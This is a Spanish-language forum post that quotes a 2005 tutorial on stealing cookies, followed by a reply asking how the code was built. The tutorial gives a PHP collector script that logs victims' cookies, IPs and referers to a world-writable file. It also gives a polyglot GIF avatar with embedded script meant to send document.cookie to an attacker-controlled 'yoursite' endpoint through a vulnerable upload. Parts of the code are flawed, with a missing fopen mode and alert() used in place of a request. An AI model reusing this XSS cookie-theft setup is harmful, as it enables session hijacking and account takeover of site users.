Cita de: mousehack en 3 Noviembre 2005, 19:41 PM
por ejemplo hagamos algo asi para realizar un robo de cookie...
creamos un archivo llamado cookie.php con el siguiente codigo:Código [Seleccionar]<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('log.txt'); // chmod 777 and same directory
fwrite($fp, '<br>Cookie: '.$cookie.'</br> IP: ' .$ip. '<br> Date and Time: ' .$date. '</br> Referer: '.$referer.' ');
fclose($fp);
?>
este codigo creara un archivo log.txt con permiso 777
ahora creamos un avatar para subir a la web vulnerable con el siguiente codigo:Código [Seleccionar]<GIF89aŸ 8 ÷™fÿ™™><html><head><script>alert('http://yoursite/cookies.php?c='+document.cookie);</script></head></html>
y lo guardamos, recordando ponerle la extension .GIF
Salu2
como as contruido ese codigo?
podrias explicar como hacerlo plz ^^